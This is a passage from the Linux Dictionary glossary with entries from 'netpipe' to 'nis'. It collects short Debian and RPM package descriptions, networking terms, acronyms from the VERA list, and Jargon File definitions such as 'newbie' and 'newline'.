This package measures network performance using the MPI protocol, a Message Passing Interface frequently used in parallel processing, and which uses in turn TCP as its underlying transport. The implementation of the MPI standard used by this package is that provided by the mpich package.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpipe-pvm

A network performance tool using PVM NetPIPE is a protocol independent performance tool that encapsulates the best of tcp and netperf and visually represents the network performance under a variety of conditions. By taking the end-to-end application view of a network, NetPIPE clearly shows the overhead associated with different protocol layers. NetPIPE answers such questions as: how soon will a given data block of size k arrive at its destination? Which network and protocol will transmit size k blocks the fastest? What is a given network's effective maximum throughput and saturation level? Does there exist a block size k for which the throughput is maximized? How much communication overhead is due to the network communication protocol layer(s)? How quickly will a small (< 1 kbyte) control message arrive, and which network and protocol are best for this purpose?

This package measures network performance using the PVM protocol, a Parallel Virtual Machine interface frequently used in parallel processing, and which uses in turn TCP as its underlying transport. PVM support is provided in its own separate pvm package on Debian systems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpipe-tcp

A network performance tool using the TCP protocol NetPIPE is a protocol independent performance tool that encapsulates the best of ttcp and netperf and visually represents the network performance under a variety of conditions. By taking the end-to-end application view of a network, NetPIPE clearly shows the overhead associated with different protocol layers. NetPIPE answers such questions as: how soon will a given data block of size k arrive at its destination? Which network and protocol will transmit size k blocks the fastest? What is a given network's effective maximum throughput and saturation level? Does there exist a block size k for which the throughput is maximized? How much communication overhead is due to the network communication protocol layer(s)? How quickly will a small (< 1 kbyte) control message arrive, and which network and protocol are best for this purpose? This package uses a raw TCP protocol to measure network performance. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netplan

Network server for 'plan' Plan is a schedule planner based on X/Motif. Netplan adds to plan multiuser capability using an IP server. WARNING: the best level of authentication offered by netplan in this version is identd. That's quite weak, so watch the manpage and tune the config carefully. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netris

A free, networked version of T*tris Netris is a free, networked variant of Tetris. One-player mode is a tad boring at the moment, because it never gets any faster, and there's no scoring. This will be rectified at some point. Two players can play against each other. If you fill two or three lines with one piece, your opponent gets respectively one or two unfilled lines at the bottom of his screen. If you fill four lines with one piece, your opponent will get four unfilled lines. This version at least partially supports robots. You can find the protocol description in the documentation, and a sample robot in the examples. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netsaint

A host/service/network monitoring and management system. NetSaint is a host/service/network monitoring and management system. It has the following features: o Monitoring of network services (via TCP port, SMTP, POP3, HTTP, NNTP, PING, etc.) o Plugin interface to allow for user-developed service checks o Contact notifications when problems occur and get resolved (via email, pager, or user-defined method) o Ability to define event handlers to be run during service or host events (for proactive problem resolution) o Web output (current status, notifications, problem history, log file, etc.) NetSaint was written in C and is designed to be easy to understand and modify to fit your own needs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netscape

A WWW Browser and the name of a company. The Netscape (tm) browser was originally based on the Mosaic program developed at the National Center for Supercomputing Applications (NCSA). From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netscape

Popular World-Wide-Web browser software (base support) Netscape (pronounced "Mozilla") is a graphical World-Wide-Web browser with many features. It supports advanced features of HTML and new technologies such as "Java" from Sun Microsystems. You will need the "ImageMagick" package installed if you wish to get in-line support of image types not directly supported by netscape. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netscape(tm)

Linux Dictionary

A commercial GUI World-Wide-Web browser for X-Windows, MS-Windows and Macintosh, available from Netscape Communications. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netseed

The network packet altering stream editor NetSED is small and handful utility designed to alter the contents of packets forwarded thru your network in real time. It is really useful for network hackers in following applications: * black-box protocol auditing – whenever there are two or more proprietary boxes communicating over undocumented protocol (by enforcing changes in ongoing transmissions, you will be able to test if tested application is secure), * fuzz-alike experiments, integrity tests – whenever you want to test stability of the application and see how it ensures data integrity, * other common applications – fooling other people, content filtering, etc etc – choose whatever you want to. It perfectly fits ngrep, netcat and tcpdump tools suite. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netselect

Choose the fastest server automatically. This is netselect, an ultrafast intelligent parallelizing binary-search implementation of "ping." You give it a (possibly very long) list of servers, and it chooses the fastest/closest one automatically. It's good for finding the fastest ftp.debian.org mirror, the least laggy IRC server, or the best Squid neighbour. This version also includes netselect-apt, which creates an apt sources.list file automatically from the huge list of Debian mirrors. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netserva Dlite

Netserva Dlite is a small 20mb downloadable Debian based distribution that comes with a basic set of pre-configured ISP-related services such as virtual web hosting, email and RADIUS. All client authentication is via MySQL so normal user shell accounts are not required. The system, in theory, could scale to supporting millions of users. The latest update was on February 2, 2002. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netspades-slang

Slang console based client for the NetSpades spades game. This is a console/slang based client for Netspades, you will require a client To be able to play netspades. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETSS

National Electronic Telecommunication Surveillance System (USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netstat

Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netstation Linux

NetStation is a Linux distribution for diskless thin client terminals using standard x86 hardware. It can boot from network using Etherboot and connect to an application server using VNC, RDP, X11 or SSH. The initial release, NetStation 0.1 (alpha), is dated August 28, 2001. Development version 0.8.2 was released June 6, 2002. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nettoe

Networked version of Tic Tac Toe for the console NetToe is a console-based version of the classic game "Tic Tac Toe". It's playable against computer AI, a player on the same machine or with another player over the network. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netule

Netule has created three new Linux distributions, which are now available for download. The EM-I or Email Module I is a full featured Email Server based on Sendmail; the WM-I or Web Module I is a vastly simplified Web Server based on Apache; and the FM-I or Firewall Module I is released in

partnership with Astaro Security Linux. Netule products are a combination of open and closed source and are available bundled with hardware. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Network

A group of computers that are connected in some fashion. Most school networks are known as LANs, or Local Area Networks, because they are networks linking computers in one small area. The Internet could be referred to as a WAN, or a Wide Area Network, because it connects computers in more than one local area. It is also a series of points connected by physical or virtual connects. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network

A group of interconnected computers and their connecting cables and hardware. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Network

Any time you connect 2 or more computers together so that they can share resources, you have a computer network. Connect 2 or more networks together and you have an internet. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network address translation (NAT)

Networking method in which internal network hosts, which use private IP addresses access public (Internet) hosts through a gateway that tags packets for routing. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network card

See network interface card (NIC). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network file system (NFS)

A protocol used to access files over a network regardless of machine, operating system, or architecture. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network information service (NIS)

Client-server protocol that tracks, manages, and authenticates users and host names on a network. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network interface card

An adapter that lets you connect a network cable to a microcomputer. The card includes encoding and decoding circuitry and a receptacle for a network cable connection. Because data is transmitted more rapidly within the computer's internal bus, a network interface card allows the network to operate at higher speeds than it would if delayed by the serial port. Networks such as Ethernet and ARCnet that use interface cards can transmit information much faster than networks such as AppleTalk which uses serial ports. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network interface card (NIC)

A hardware component that initiates and manages network connections. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network operations centre (NOC)

An administrative and technical coordination office that is responsible for the day-to-day operation of a local, regional, or national Internet backbone see service. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

network protocol

The method used to regulate a workstation's access to a computer network to prevent data collision. Examples include carrier sense multiple access with collision detection (CSMA/CD) and token passing. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

new-object

Add new CORBA object From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newaliases

update /etc/aliases database From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newbie

/n[y]oo'bee/ n. [very common; orig. from British public-school and military slang variant of 'new boy'] A Usenet neophyte. This term surfaced in the newsgroup talk.bizarre but is now in wide use (the combination "clueless newbie" is especially common). Criteria for being considered a newbie vary wildly; a person can be called a newbie in one newsgroup while remaining a respected regular in another. The label 'newbie' is sometimes applied as a serious insult to a person who has been around Usenet for a long time but who carefully hides all evidence of having a clue. See BIFF; see also gnubie. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newbiedoc

Documentation by and for newbies This is a snapshot of the documentation currently being developed by The Newbiedoc Project. See <http://newbiedoc.sourceforge.net> for the most recent version, or if you want to join the team. Current release includes: – Introduction to 'apt-get' – DocBook guides and documentation for writing doc for Newbiedoc – Using 'grep' – Installing and configuring hardware – Finding help on a Debian system – Text editors: JOE and vi – Compiling kernels the Debian way – Managing processes – Using runlevels – Configuring exim The documentation will be installed in /usr/share/doc/newbiedoc, and newbiedoc(1) is a script that starts a browser on the newbiedoc collection. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newer

compare file modification times From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newgrp

Change group ID From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newline

/n[y]oo'li:n/ n. 1. [techspeak, primarily Unix] The ASCII LF character (0001010), used under Unix as a text line terminator. Though the term 'newline' appears in ASCII standards, it never caught on in the general computing world before Unix. 2. More generally, any magic character, character sequence, or operation (like Pascal's writeln procedure) required to terminate a text record or separate lines. See crlf, terpri. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NEWS

Netware Early Warning System (Novell, Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NEWS

Networked Extensible Windowing System (Sun), "NeWS" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NEWS file

Contains information about new features and changes for the layman about this package. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newsclipper

Create HTML with dynamic information from the net NewsClipper is an information integrator. It creates a custom web page from a template HTML file with special tags, replacing those tags with dynamic information acquired from the internet. It was previously known as DailyUpdate. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newsflash

Get news with the newnews command from a server The Newsflash program retrieves news articles via NNTP from one server and delivers them to another. It requires at least read-only permissions on the remote server, and needs to have peer permissions on the local server. It works well with INN, but should also work with any other RFC977 compliant news software. Newsflash's highly parallel design is optimized for throughput, which makes quite a difference to INN's nntpget and the like. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Newsgroups

A newsgroup is a notice board that everyone in the world can see. There are tens of thousands of newsgroups and each group is unique in the world. The client software you use to read a newsgroup is called a news reader (or news client). `rtin` is a popular text mode reader, while `netscape` is graphical. `pan` is an excellent graphical news reader that I use. Newsgroups are named like Internet hosts. One you might be interested in is `comp.os.linux.announce`. The `comp` is the broadest subject description for computers; `os` stands for operating systems; and so on. Many other linux newsgroups are devoted to various LINUX issues. Newsgroups servers are big hungry beasts. They form a tree-like structure on the Internet. When you send mail to a newsgroup it takes about a day or so for the mail you sent to propagate to every other server in the world. Likewise, you can see a list of all the messages posted to each newsgroup by anyone anywhere. What's the difference between a newsgroup and a mailing list? The advantage of a newsgroup is that you don't have to download the messages you are not interested in. If you are on a mailing list, you get all the mail sent to the list. With a newsgroup you can look at the message list and retrieve only the messages you are interested in. Why not just put the mailing list on a web page? If you did, then everyone in the world would have to go over international links to get to the web page. It would load the server in proportion to the number of subscribers. This is exactly what `SlashDot` is. However, your newsgroup server is local, so you retrieve mail over a faster link and save Internet traffic. From `Rute-Users-Guide`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Newsgroups

These are the bulletin boards of the Internet. There are around 20,000 groups covering every subject under the sun. Most IAPs have a newsgroup server which periodically takes all new messages from a newsgroup feed and adds the messages which have been posted by its own users. To access the newsgroups stored on your IAPs newsgroup server you need a newsreader program. From `Glossary of Distance Education and Internet Terminology`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newspost

Usenet binary autoposter Using `newspost`, it is a one command job to uuencode and post as many binary files as you like to your favorite newsgroup. It supports all the features you'd expect from a binary autoposter, including authentication, posting to multiple newsgroups (crossposting), and all the rest. And of course you can save your settings as default so you don't have to type in your news server every time. In addition, I added a couple cool things, like posting text prefixes, and autocreating and posting `sfv` files. From `Debian 3.0r0 APT`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newsreader

A program for reading, downloading, and replying to the newsgroup messages you want. See also `USENET`. From `Linux Guide @FirstLinux`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newsx

An NNTP client for posting and fetching news `NewsX` is an NNTP client for Unix. It will connect to a remote NNTP server and post outgoing articles batched by the news system, as well as fetch incoming articles. It provides the NNTP capabilities required for small local news spools on installations with NNTP access only through limited ISP accounts. It works well via a dialup SLIP/PPP connection. It seems to be faster than using `suck` over a modem link. From `Debian 3.0r0 APT` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NEWT

NeWS Terminal, "NeWT" From `VERA` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newt

`Newt` is a programming library for color text mode, widget-based user interfaces. `Newt` can be used to add stacked windows, entry widgets, checkboxes, radio buttons, labels, plain text fields, scrollbars, etc., to text mode user interfaces. This package also contains the shared library needed by programs built with `newt`, as well as `/usr/bin/dialog` replacement called `whiptail`. `Newt` is based on the slang

library. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

newusers

update and create new users in batch From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nex

text editors From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NEXT

NEw eXtended Technology, "NeXT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFA

Name Field Address (Forth) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFA

Non-deterministic Finite-state Automation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFAIS

National Federation of Abstracting and Information Services (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFAS

Non Facilities-Associated Signaling (ISDN, PRI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFR

Near Field Recording [technology] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFS

Network Facilities Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFS

Network File System (Sun, Unix, RFC 1813) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFS

NFS is the UNIX equivalent of SMB. It is a way through which different machines can import and export local files between each other. Like SMB though, NFS sends information including user passwords unencrypted, so it's best to limit its usage to within your local network. The Network File System (NFS) was developed to allow machines to mount a disk partition on a remote machine as if it were on a local hard drive. This allows for fast, seamless sharing of files across a network. It also gives the potential for unwanted people to access your hard drive over the network (and thereby possibly read your email and delete all your files as well as break into your system) if you set it up incorrectly. So please read the Security section of this document carefully if you intend to implement an NFS setup. There are other systems that provide similar functionality to NFS. Samba (<http://www.samba.org>) provides file services to Windows clients. The Andrew File System from IBM (<http://www.transarc.com/Product/EFS/AFS/index.html>), recently open-sourced, provides a file sharing mechanism with some additional security and performance features. The Coda File System (<http://www.coda.cs.cmu.edu/>) is still in development as of this writing but is designed to work well with disconnected clients. Many of the features of the Andrew and Coda file systems are slated for inclusion in the next version of NFS (Version 4) (<http://www.nfsv4.org>). The advantage of NFS today is that it is mature, standard, well understood, and supported robustly across a variety of platforms. From NFS-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFS

see network file system (NFS). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfs-common

NFS support files common to client and server Use this package on any machine that does NFS either as client or server. Programs included: lockd, statd, showmount, and nfsstat. Upstream: SourceForge project "nfs", CVS module nfs-utils. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfs-kernel-server

Kernel NFS server support Use this package if you have a fairly recent kernel (2.2.13 or better) and you want to use the kernel-mode NFS server. The user-mode NFS server in the "nfs-server" package is slower but more featureful and easier to debug than the kernel-mode server. Upstream: SourceForge project "nfs", CVS module nfs-utils. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfs-user-server

User space NFS server. This package contains all necessary programs to make your Linux machine act as an NFS server, being an NFS daemon (rpc.nfsd), a mount daemon (rpc.mountd). Unlike other NFS daemons, this NFS server runs entirely in user space. This makes it a tad slower than other NFS implementations, and also introduces some awkwardnesses in the semantics (for instance, moving a file to a different directory will render its file handle invalid). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfs-utils

The nfs-utils package provides a daemon for the kernel NFS server and related tools, which provides a much higher level of performance than the traditional Linux NFS server used by most users. This package also contains the showmount program. Showmount queries the mount daemon on a remote host for information about the NFS (Network File System) server on the remote host. For example, showmount can display the clients which are mounted on that host. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfs-utils-clients

The nfs-utils package provides a daemon for the kernel NFS server and related tools, which provides a much higher level of performance than the traditional Linux NFS server used by most users. This package also contains the showmount program. Showmount queries the mount daemon on a remote host for information about the NFS (Network File System) server on the remote host. For example, showmount can display the clients which are mounted on that host. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfsboot

Allow clients to boot over the network. This package help you to set up your host to allow clients to boot over nfs. This package should be installed on the server so that the clients can connect to it. The package contains no server itself, but recommends all packages that you will need in order to make nfsrooted clients to work. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfsbooted

Prepares your image for nfs boot. This package sets up your debian image to be booted from a nfs server. There are a couple of things that are needed to do this so that the different hosts do not conflict with each other. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFSP

Netware File Service Protocol (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nfsstat

print NFS statistics From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFT

Network File Transfer (DNA, DEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NFT

Newfoundland Time [-0330] (TZ, NDT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ng

Ng is Nihongo Mg, MicroGnuEmacs. It is a small lightweight Emacs-like editor. It can handle both Latin and CJK. This package contains documents and a wrapper script. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGDD

New Generation Desktop Design (Mitsubishi) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGE

Not-Greater-or-Equal From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nget

auto-resuming command line nntp file grabber nget is a command line NNTP file grabber. It automatically pieces together multipart postings for easy retrieval, even substituting parts from multiple servers. It handles disconnects gracefully, resuming after the last part successfully downloaded. nget also caches header data for quick access. Home Page:
<http://www.azstarnet.com/~donut/programs/nget.html> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ngettext

print out string using translation with singular/plural From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ngettext

translate message and choose plural form From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGI

Nederlands Genootschap for Informatica (org., Netherlands) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGIO

Next Generation Input / Output (I/O) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ngrep

grep for network traffic ngrep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular expressions to match against data payloads of packets. It currently recognizes TCP, UDP and ICMP across Ethernet, PPP, SLIP and null interfaces, and understands bpf filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGS

Non-Government Standard (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ngs-js

The NGS JavaScript interpreter js is an LGPL implementation of JavaScript/ECMAScript for use as a standalone scripting language. It is written from scratch instead of being a child of the Mozilla offering. It is currently under development, and has had nowhere near as much testing as other scripting languages (Perl comes to mind...). Please be forewarned. More information is available at js' homepage, <http://www.bbassett.net/njs>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NGSB

Non-Government Standards Body From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nhfsstone

NFS benchmark program. Upstream: SourceForge project "nfs", CVS module nfs-utills. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NHRP

[NBMA] Next Hop Resolution Protocol (X.25, ATM, NBMA, IETF) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NHSE

National HPCC Software Exchange (USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NI

Network Interconnect / Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NI

Normenausschuss Informationsverarbeitungssysteme (org., DIN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIA

Network Information Access From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIAS

Netware Internet Access Server (Novell, Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC

An acronym for Network Interface Card or for Network Information Center, such as the Internic. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC

Network Information Center (Internet, org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC

Network Interface Card / Controller From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC

Numeric Intensive Computing From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC

see network interface card (NIC). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC (Network Information Center)

Generally, any office that handles information for a network. The most famous of these on the Internet was the InterNIC, which was where most new domain names were registered until that process was decentralized to a number of private companies. Also means "Network Interface card", which is the card in a computer that you plug a network cable into. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC (Network Information Center)

A system that contains a repository of Internet-related information, including File Transfer Protocol (FTP) archives of Requests for Comments (RFCs), Internet Drafts, For Your Information (FYI) papers, and other documents, including handbooks on the use of the Internet. There are numerous Network Information Centers, but the official repository of network information is the Defense Data Network NIC (DDN NIC). See InterNIC From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIC Linux

The New Internet Computer (NIC) project provides an inexpensive computer, starting at \$199.99, for homes, schools and other places where cost is an issue. It supports popular plug-ins like Real Player, Java and Macromedia Flash Player, so it's just as Internet-capable. News.com reports that the New Internet Computer Co. is shutting down, June 2, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NICAM

Near-Instantaneously Companded Audio Multiplex (audio) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NICD

Nickel Cadmium [batterie], "NiCd" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NICE

Network Information and Control Exchange (DECNET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nice

Unix processes have an associated system nice value which is used by the kernel to determine when it should be scheduled to run. This value can be increased to facilitate processes executing quickly or decreased so that the processes execute slowly and thus do not interfere with other system activities. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NICOL

Network Information Center On-Line From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NICOLAS

Network Information Center On-Line Aid System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nictools-nopci

Diagnostic tools for many non-PCI ethernet cards These are tools to diagnostic problems with your non-PCI ethernet cards. Some card can be set up or EEPROM can be updated. 3c515-diag : Diagnostic program for 3Com 3c515 Ethernet cards 3c5x9setup : Setup program for 3Com EtherLink III Ethernet cards at1700-diag : Diagnostic program for the Allied Telesis AT1700 atlantic-setup: Setup program for AT/LANTIC DP83905 Ethernet cards atp-diag : Diagnostic for Realtek RTL8002/RTL8012 pocket Ethernet adapter eexpress : Diagnostic program for Intel EtherExpress 16 cards el3diag : Diagnostic program for 3c509 and 3c579 Ethernet cards e21-diag : Diagnostic program for Cabletron E2100 Ethernet cards hp+-diag : Diagnostic program for HP PC LAN+ (27247B & 27252A) cards ne2k-diag : Diagnostics and EEPROM setup for NE2000 clones wdsetup : Configuration utility for Western Digital and SMC Ethernet cards This package replaces the old 3c5x9utils and wdsetup packages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nictools-pci

Diagnostic tools for many PCI ethernet cards These tools can help you to diagnostic problems with your ethernet cards or - in some cases - give those cards the final hint, to work in your network. alta-diag : Diagnostic and setup for the Sundance "Alta" NIC eeepro100-diag : Diagnostic and setup for the Intel EEPro100 Ethercards epic-diag : Diagnostics and EEPROM setup for the SMC EPIC-100 myson-diag : Diagnostic and setup for the Myson mtd803 Ethernet chip natsemi-diag : Diagnostic and setup for the NatSemi DP83815 Ethernet chip ne2k-pci-diag : Diagnostics and EEPROM setup for PCI NE2000 clones ns820-diag : Diagnostic and setup for the NatSemi DP83820 Ethernet chip pcnet-diag : Diagnostic and setup for the AMD PCnet/PCI Ethernet chip rtl8139-diag : Diagnostics and EEPROM setup for RealTek RTL8129/8139 chips starfire-diag : Diagnostic and setup for the Adaptec Starfire DuraLAN tulip-diag : Diagnostic and setup for the Digital DC21x4* Ethercards chips via-diag : Diagnostic and setup for the VIA Rhine vt86c100 and vt3043 Ethernet chips vortex-diag : Diagnostics and EEPROM setup for the 3Com Vortex series winbond-diag :

Linux Dictionary

Diagnostic and setup for the Winbond w89c840 ethercards yellowfin-diag: Diagnostic and setup for the Packet Engines Yellowfin chips From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NID

Namespace IDentifier (URN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIDOS

NIxdorf Disk Operating System (OS, SNI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIDR

Network Information Discover and Retrieval From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIDX

Network Intrusion Detection eXpert system (BELLCORE, XPS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIE

Newton Internet Enabler (Apple, PDA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIFTP

Network Independent File Transfer Program (FTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nighthawk

An improved version of Paradroid – a strategic shoot–em up. You are a droid out to save the universe. To do this, you must do more than simply blasting everything in sight – you have to transfer to better droids in order to conquer more advanced droids, and go through walls to reach parts other droids cannot reach. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIHCL

National Institute of Health [c++] Class Library (PD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NI

National Information Infrastructure [program] (USA, org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NII (National Information Infrastructure)

The official U.S. government name for the Internet and other computer networks. Commonly known as the Information Superhighway, please see at <http://www.benton.org> From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIIT

National Information Infrastructure Testbed (ISH, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIMH

NIckel Metal Hybrid [batterie], "NiMH" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIMT

National Institute for Management Technology (org., Irland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ninpaths

Paths Survey reporting program This package installs Olaf Titz's version of inpaths. When configured ninpaths will send montly email reports about articles you received. This program is only useful to news administrators of medium–big sites and should NOT be installed by dialup users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIPT

[international symposium on] New Information Processing Technologies (conference, MITI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NIR

Network Information Registry / Retrieval From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nis

Clients and daemons for the Network Information Services (NIS). The nis package allows you to use the NIS services from a NIS server or to set up your own NIS server. NIS is mostly used to let several machines in a network share the same account information (eg the password file). NIS was formerly called Yellow Pages (YP). From Debian 3.0r0 APT
